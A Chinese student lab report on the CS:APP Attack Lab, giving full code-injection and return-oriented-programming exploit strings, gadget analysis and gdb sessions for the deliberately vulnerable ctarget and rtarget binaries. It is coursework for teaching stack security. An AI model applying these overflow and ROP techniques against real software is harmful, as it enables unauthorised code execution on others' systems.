北京郵電大學

实验报告

题目：缓冲区溢出

班　　级：2019211309

学　　号：2019211397

姓　　名：毛子恒

学　　院：计算机学院

2020 年 11 月 21 日

一、 实验目的

1. 理解 C 语言程序的函数调用机制，栈帧的结构。
2. 理解 x86-64 的栈和参数传递机制
3. 初步掌握如何编写更加安全的程序，了解编译器和操作系统提供的防攻击手段。
4. 进一步理解 x86-64 机器指令及指令编码。

二、 实验环境

1. macOS Catalina 10.15.6 终端：iTerm2 Build 3.3.12
2. bupt1 服务器：Ubuntu 16.04.6 LTS
3. Vim version 7.4.1689
4. gcc version 5.4.0
5. GNU gdb 7.11.1
6. GNU objdump 2.26.1

三、 实验内容

登录 bupt1 服务器，在 home 目录下可以找到一个 targetn.tar 文件，解压后得到如下文件：

README.txt;

ctarget;

rtarget;

cookie.txt;

farm.c;

hex2raw。

ctarget 和 rtarget 运行时从标准输入读入字符串，这两个程序都存在缓冲区溢出漏洞。通过代码注入的方法实现对 ctarget 程序的攻击，共有 3 关，输入一个特定字符串，可成功调用 touch1，或 touch2，或 touch3 就通关，并向计分服务器提交得分信息；通过 ROP 方法实现对 rtarget 程序的攻击，共有 2 关，在指定区域找到所需要的小工具，进行拼接完成指定功能，再输入一个特定字符串，实现成功调用 touch2 或 touch3 就通关，并向计分服务器提交得分信息；否则失败，但不扣分。因此，本实验需要通过反汇编和逆向工程对 ctraget 和 rtarget 执行文件进行分析，找到保存返回地址在堆栈中的位置以及所需要的小工具机器码。实验 2 的具体内容见实验 2 说明，尤其需要认真阅读各阶段的 Some Advice 提示。

本实验包含了 5 个阶段（或关卡），难度逐级递增。各阶段分数如下所示：

Phase	Program	Level	Method	Function	Points
1	CTARGET	1	CI	touch1	10
2	CTARGET	2	CI	touch2	25
3	CTARGET	3	CI	touch3	25
4	RTARGET	2	ROP	touch2	35
5	RTARGET	3	ROP	touch3	5

CI: Code injection

ROP: Return-oriented programming

四、 实验步骤及实验分析

(一) 准备阶段

1. 使用 SSH 连接到 bupt1 服务器，命令为：ssh 2019211397@10.120.11.12

2. 查看文件并用 tar -xvf target283.tar 命令解压文件：

```
2019211397@bupt1:~$ ls
act123.tar  bomb283  bomb283.tar  lab1  lab2  lab3  target283.tar
2019211397@bupt1:~$ tar -xvf target283.tar
target283/README.txt
target283/ctarget
target283/rtarget
target283/farm.c
target283/cookie.txt
target283/hex2raw
2019211397@bupt1:~$ cd target283/
2019211397@bupt1:~/target283$ ls
cookie.txt  ctarget  farm.c  hex2raw  README.txt  rtarget
```

3. 使用 objdump 反汇编，分别输出到 ctarget.d 和 rtarget.d 文件：

```
2019211397@bupt1:~/target283$ objdump -d ctarget >ctarget.d
2019211397@bupt1:~/target283$ objdump -d rtarget >rtarget.d
2019211397@bupt1:~/target283$ ls
cookie.txt  ctarget  ctarget.d  farm.c  hex2raw  README.txt  rtarget  rtarget.d
```

4. 查看 README.txt 和 cookie.txt 文件，得到 cookie 为 0x216f4180：

```
2019211397@bupt1:~/target283$ cat cookie.txt
0x216f4180
```

5. 查看 getbuf 函数的说明：

```
1 unsigned getbuf()
2 {
3     char buf[BUFFER_SIZE];
4     Gets(buf);
5     return 1;
6 }
```

其中 Gets 函数类似 gets 函数，从标准输入中读取字符串，直到换行符或者 EOF 结束，将读入的字符串存储到 buf 字符串中，当我们输入的字符串长度超过 BUFFER_SIZE 时，就会发生缓冲区溢出。

(二) 关卡一

1. 查看 test 函数的说明：

```
1 void test()
2 {
3     int val;
4     val = getbuf();
5     printf("No exploit. Getbuf returned 0x%x\n", val);
6 }
```

我们需要通过缓冲区溢出来更改 getbuf 函数栈帧中的数据，更改该函数在返回前的行为，使其调用 touch1 函数而不是返回到 test 函数。

2. 查看 touch1 函数的说明：

```
1 void touch1()
2 {
3     vlevel = 1; /* Part of validation protocol */
4     printf("Touch1!: You called touch1()\n");
5     validate(1);
6     exit(0);
7 }
```

根据说明，只要成功调用 touch1 函数即可通过此关。

3. 查看 getbuf 函数的汇编代码：

```
00000000004018e9 <getbuf>:
  4018e9:   48 83 ec 28             sub    $0x28,%rsp
  4018ed:   48 89 e7                mov    %rsp,%rdi
  4018f0:   e8 7e 02 00 00          callq  401b73 <Gets>
  4018f5:   b8 01 00 00 00          mov    $0x1,%eax
  4018fa:   48 83 c4 28             add    $0x28,%rsp
  4018fe:   c3                      retq
```

可见函数在数组中分配了 0x28 字节的空间，在%rsp+0x28 的位置就是调用 getbuf 函数前存储的返回地址，因此修改这个返回地址即可调用 touch1。

4. 查看 touch1 函数的汇编，得到函数的地址是 0x4018ff：

```
00000000004018ff <touch1>:
  4018ff:   48 83 ec 08             sub    $0x8,%rsp
```

5. 用 00 填充前 0x28（即 40）个字节，之后用地址填充剩下的字节，由于采用小端法，所以低有效位在前，最终的答案是：

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ff 18 40 00 00 00 00 00

存储在 ans1.txt 中，使用如下命令发动攻击：

```
2019211397@bupt1:~/target283$ ./hex2raw <ans1.txt | ./ctarget
Cookie: 0x216f4180
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
```

(三) 关卡二

1. 查看 touch2 函数的说明：

```
1 void touch2(unsigned val)
2 {
3     vlevel = 2; /* Part of validation protocol */
4     if (val == cookie) {
5         printf("Touch2!: You called touch2(0x%.8x)\n", val);
```

```
6          validate(2);
7      } else {
8          printf("Misfire: You called touch2(0x%.8x)\n", val);
9          fail(2);
10     }
11      exit(0);
12 }
```

根据说明，除了调用 touch2 函数之外，还需要验证传入的参数和 cookie 相等，才算通过此关。

2. 查看 touch2 函数的汇编，得到函数的地址是 0x40192b：

```
854 000000000040192b <touch2>:
855   40192b:   48 83 ec 08             sub    $0x8,%rsp
```

3. 使用 gdb 查看调用 getbuf 函数时栈顶的地址，是 0x55626488：

```
(gdb) b getbuf
Breakpoint 1 at 0x4018e9: file buf.c, line 12.
(gdb) r -q
Starting program: /home/students/2019211397/target283/ctarget -q
Cookie: 0x216f4180

Breakpoint 1, getbuf () at buf.c:12
12      buf.c: No such file or directory.
(gdb) disas
Dump of assembler code for function getbuf:
=> 0x00000000004018e9 <+0>:     sub    $0x28,%rsp
   0x00000000004018ed <+4>:     mov    %rsp,%rdi
   0x00000000004018f0 <+7>:     callq  0x401b73 <Gets>
   0x00000000004018f5 <+12>:    mov    $0x1,%eax
   0x00000000004018fa <+17>:    add    $0x28,%rsp
   0x00000000004018fe <+21>:    retq
End of assembler dump.
(gdb) stepi
14      in buf.c
(gdb) p /x $rsp
$1 = 0x55626488
```

4. 本关需要注入三条指令：把 cookie 的值放进寄存器%rdi 中，把 touch2 的地址进栈，返回；函数返回后即调用 touch2 函数。

将以下指令写入到 ans2.s 中：

```
mov $0x216f4180,%rdi
pushq $0x40192b
ret
```

使用 gcc 编译生成目标文件，再反汇编得到机器码：

```
2019211397@bupt1:~/target283$ gcc -c ans2.s
2019211397@bupt1:~/target283$ objdump -d ans2.o

ans2.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:   48 c7 c7 80 41 6f 21    mov    $0x216f4180,%rdi
   7:   68 2b 19 40 00          pushq  $0x40192b
   c:   c3                      retq
```

5. 答案的前一部分是攻击指令的机器码，第 41 个字节起写入栈顶指针的位置，于是 getbuf 函数返回时会跳转到栈顶位置的指令并且执行，最终答案如下：

48 c7 c7 80 41 6f 21 68
2b 19 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
88 64 62 55 00 00 00 00

存储在 ans2.txt 中，使用如下命令发动攻击：

```
2019211397@bupt1:~/target283$ ./hex2raw <ans2.txt | ./ctarget
Cookie: 0x216f4180
Type string:Touch2!: You called touch2(0x216f4180)
Valid solution for level 2 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
```

(四) 关卡三

1. 查看 touch3 函数的说明：

```
1 /* Compare string to hex represention of unsigned value */
2 int hexmatch(unsigned val, char *sval)
3 {
4     char cbuf[110];
5 /* Make position of check string unpredictable */
6     char *s = cbuf + random() % 100;
7     sprintf(s, "%.8x", val);
8     return strncmp(sval, s, 9) == 0;
9 }
10
11 void touch3(char *sval)
12 {
13     vlevel = 3; /* Part of validation protocol */
14     if (hexmatch(cookie, sval)) {
15     printf("Touch3!: You called touch3(\"%s\")\n", sval);
16     validate(3);
17     } else {
18         printf("Misfire: You called touch3(\"%s\")\n", sval);
19         fail(3);
20     }
21     exit(0);
22 }
```

根据说明，调用 touch3 函数时需要将 cookie 以字符串的形式传入，函数的第一个参数保存字符串的地址。在执行 hexmatch 函数时会在栈中申请空间，可能会抹掉我们写入的数据。

2. 查看 touch3 函数的汇编，得到函数的地址是 0x401a3c：

```
929 0000000000401a3c <touch3>:
930   401a3c:   53                      push   %rbx
```

3. 把 cookie 转化成十六进制 ASCII 码的表示（使用 mac ascii 参考 ASCII 码的编码）：

   2 1 6 f 4 1 8 0

   32 31 36 66 34 31 38 30

4. 根据题意，需要将 cookie 字符串存入内存中，将内存的地址存入%rdi 参数，我们可以很容易地想到把这个字符串存到缓冲区中，但是执行 hexmatch 函数时，原本 0x28 个字节的缓冲区的内容会全部被覆盖；解决方法是将 touch3 函数的地址存储在缓冲区（设其地址为 x），之后将%rsp 的值修改为 x，然后把 cookie 字符串置于 x 的后面，hexmatch 就只会覆盖 x 之前的信息，不会影响到 cookie。指令部分占用缓冲区 0x10 字节的空间，之后 0x8 个字节存储 touch3 函数的地址，再之后 0x8 个字节存储 cookie 字符串。我们之前知道栈顶的地址是 0x55626488，因此 touch3 函数的地址是 0x55626498，cookie 字符串的地址是 0x556264a0。

   注入的指令有三个：把 cookie 字符串的地址存入%rdi，把存储 touch3 函数地址的地址存入%rsp，返回。

   将以下指令写入 ans3.s 中：

   ```
   mov $0x556264a0,%rdi
   mov $0x55626498,%rsp
   ret
   ```

   ```
   2019211397@bupt1:~/target283$ gcc -c ans3.s
   2019211397@bupt1:~/target283$ objdump -d ans3.o

   ans3.o:     file format elf64-x86-64


   Disassembly of section .text:

   0000000000000000 <.text>:
      0:   48 c7 c7 a0 64 62 55    mov    $0x556264a0,%rdi
      7:   48 c7 c4 98 64 62 55    mov    $0x55626498,%rsp
      e:   c3                      retq
   ```

5. 根据之前的推导，答案的第一部分是攻击指令的机器码，第 17 个字节起写入 touch3 函数的地址（低有效位在前），第 25 个字节起写入 cookie 字符串，第 41 个字节起写入栈顶指针的位置。

   48 c7 c7 a0 64 62 55 48

   c7 c4 98 64 62 55 c3 00

   3c 1a 40 00 00 00 00 00

   32 31 36 66 34 31 38 30

   00 00 00 00 00 00 00 00

   88 64 62 55 00 00 00 00

   存储在 ans3.txt 中，使用如下命令发动攻击：

   ```
   2019211397@bupt1:~/target283$ ./hex2raw <ans3.txt | ./ctarget
   Cookie: 0x216f4180
   Type string:Touch3!: You called touch3("216f4180")
   Valid solution for level 3 with target ctarget
   PASS: Sent exploit string to server to be validated.
   NICE JOB!
   ```

（五） 关卡四

1. 这一个关卡仍然需要调用 touch2 函数。由于采用了栈随机化技术，并且栈的内存标记为不可执行，所以无法执行代码注入，因此采用 ROP 的攻击方式。需要利用现有的 gadget 来实现攻击。

   反汇编 rtarget 函数，存储结果到 rtarget.d 中。

   gadget 中可以利用的指令包括 mov 和 pop 两种，mov 指令用于把值在不同寄存器之间传输，pop 从

栈顶弹出值存储到某一个寄存器中。

观察 gadget 中 pop 指令的执行过程，初始时%rsp 指向存储 pop 指令的地址，这时调用 ret 指令，%rip 就指向 pop 指令，此时%rsp 加上 0x8，指向存储 pop 指令的地址的位置后的一个位置；此时执行 pop 指令，将%rsp 指向位置的值赋值给某一个寄存器，此后%rip 应当指向一个 ret 指令，%rsp 再加上 0x8，此时%rsp 指向的位置应当存储下一个 gadget 的地址。

2. 因此在存储 pop 指令的地址后的位置中存储一个值，调用 pop 指令，再通过 mov 指令搬运这个值到%rdi，就可以实现在关卡二中将立即数赋值给%rdi 的步骤。

在 farm 中查找可用的 gadget：

```
0000000000401af5 <getval_491>:
  401af5:   b8 5e e6 58 90          mov    $0x9058e65e,%eax
  401afa:   c3                      retq
```

其中从 0x401af8 起，58 90 c3 为

popq %rax

nop（不起作用的指令）

ret

```
0000000000401b09 <setval_452>:
  401b09:   c7 07 48 89 c7 c3       movl   $0xc3c78948,(%rdi)
  401b0f:   c3                      retq
```

其中从 0x401b0b 起，48 89 c7 c3 为

movq %rax,%rdi

ret

这两个 gadget 连起来实现了把一个立即数赋值给%rdi

3. 答案的第一部分为 00，填充前 40 个字节；第 41 个字节起为第一个 gadget 的地址，第 49 个字节起为 cookie 的值，第 57 个字节起为第二个 gadget 的地址，第 85 个字节起为 touch3 的地址。

在第二个 gadget 的末尾，通过 ret 指令调用 touch3。

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

f8 1a 40 00 00 00 00 00

80 41 6f 21 00 00 00 00

0b 1b 40 00 00 00 00 00

2b 19 40 00 00 00 00 00

存储在 ans4.txt 中，使用如下命令发动攻击：

```
2019211397@bupt1:~/target283$ ./hex2raw <ans4.txt | ./rtarget
Cookie: 0x216f4180
Type string:Touch2!: You called touch2(0x216f4180)
Valid solution for level 2 with target rtarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
```

(六) 关卡五

1. 和关卡三一样，仍然需要将 cookie 字符串的值存储到栈中，但是因为栈顶指针的位置不确定，所以不能够直接获取到 cookie 的位置，观察 farm，可以发现这个函数：

```
0000000000401b16 <add_xy>:
  401b16:   48 8d 04 37             lea    (%rdi,%rsi,1),%rax
  401b1a:   c3                      retq
```

于是可以考虑获取初始时%rsp 的值，再给它加上一个常数偏置，获取到 cookie 的地址，再搬运

到%rdi 寄存器中。

因此指令分为以下几个部分：搬运%rsp 的值到%rdi，弹出一个立即数，将值搬运到%rsi，通过上面的指令计算 cookie 的地址，将值搬运到%rdi。

2. 在 farm 中寻找可用的 gadget：

```
1029 0000000000401b37 <addval_244>:
1030   401b37:   8d 87 48 89 e0 c3       lea    -0x3c1f76b8(%rdi),%eax
1031   401b3d:   c3                      retq
```

```
973 0000000000401ad9 <setval_480>:
974   401ad9:   c7 07 48 89 c7 c3       movl   $0xc3c78948,(%rdi)
975   401adf:   c3                      retq
```

以上依次为：

0x401b39: movq %rsp,%rax

0x401adb: movq %rax,%rdi

```
989 0000000000401af5 <getval_491>:
990   401af5:   b8 5e e6 58 90          mov    $0x9058e65e,%eax
991   401afa:   c3                      retq
```

0x401af8: popq %rax

```
1117 0000000000401bc8 <setval_173>:
1118   401bc8:   c7 07 89 c2 08 c9       movl   $0xc908c289,(%rdi)
1119   401bce:   c3                      retq
```

```
1069 0000000000401b7a <setval_351>:
1070   401b7a:   c7 07 89 d1 08 c9       movl   $0xc908d189,(%rdi)
1071   401b80:   c3                      retq
```

```
1065 0000000000401b74 <getval_265>:
1066   401b74:   b8 89 ce 20 db          mov    $0xdb20ce89,%eax
1067   401b79:   c3                      retq
```

0x401bca: movl %eax,%edx

0x401b7c: movl %edx,%ecx

0x401b75: movl %ecx,%esi

由于没有 8 字节的指令，而转移的数只有一个字节，所以采用 movl；指令之后有一些没有意义的 andb 或者 orb 指令，忽略。

```
1009 0000000000401b16 <add_xy>:
1010   401b16:   48 8d 04 37             lea    (%rdi,%rsi,1),%rax
1011   401b1a:   c3                      retq
```

0x401b16: lea (%rdi,%rsi,1),%rax

```
973 0000000000401ad9 <setval_480>:
974   401ad9:   c7 07 48 89 c7 c3       movl   $0xc3c78948,(%rdi)
975   401adf:   c3                      retq
```

0x401adb: movq %rax,%rdi

3. 答案的第一部分为 00，填充前 40 个字节；第 41 个字节起为如上所述的指令，在 pop 后的第 85 个字节插入偏置常量 0x48（cookie 字符串在第 121 个字节，执行 movq %rsp,%rax 时%rsp 指向第 49 个字节，所以偏置量为 121-49=72=0x48）第 113 个字节起为 touch3 的地址，第 121 个字节起为 cookie 字符串。

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

39 1b 40 00 00 00 00 00

db 1a 40 00 00 00 00 00

f8 1a 40 00 00 00 00 00

48 00 00 00 00 00 00 00

ca 1b 40 00 00 00 00 00
7c 1b 40 00 00 00 00 00
75 1b 40 00 00 00 00 00
16 1b 40 00 00 00 00 00
db 1a 40 00 00 00 00 00
3c 1a 40 00 00 00 00 00
32 31 36 66 34 31 38 30

存储在 ans5.txt 中，使用如下命令发动攻击：

```
2019211397@bupt1:~/target283$ ./hex2raw <ans5.txt | ./rtarget
Cookie: 0x216f4180
Type string:Touch3!: You called touch3("216f4180")
Valid solution for level 3 with target rtarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
```

五、总结体会

本次实验主要内容是利用栈缓冲区实施攻击，主要考察对课本过程部分栈帧知识的了解，也涉及到了编译、反汇编、ASCII 码、进制转换、小端法等必要知识。完成这个实验使我对这一部分理论的理解大大加深，尤其对函数调用与返回的过程，以及这个过程中各个寄存器的功能有了更深刻的了解。

令我印象深刻的部分是 ROP 实验中，通过 pop 指令取立即数和通过 mov 指令在寄存器之间搬运值的过程，对于 pop 指令的精妙应用使我十分感叹。虽然这个部分无法通过一个步骤直接搬运某个值，但是通过几个步骤间接搬运的路线也比较单一，难度不是很大。我刚刚上手这个关卡的时候以为会做类似走迷宫的努力，但是发现解题过程还是比较顺畅。

另外在关卡三中通过直接改变栈顶指针的值来保护内存中 cookie 字符串的解法也很精妙，想出这个解法需要对栈有比较深刻的了解和直觉。

在本次实验布置之后我就立即投入到解题当中，在解题和撰写实验报告所花的数小时中收获良多，更大大增强了我的动手能力，是对理论课知识的一次很好的补充。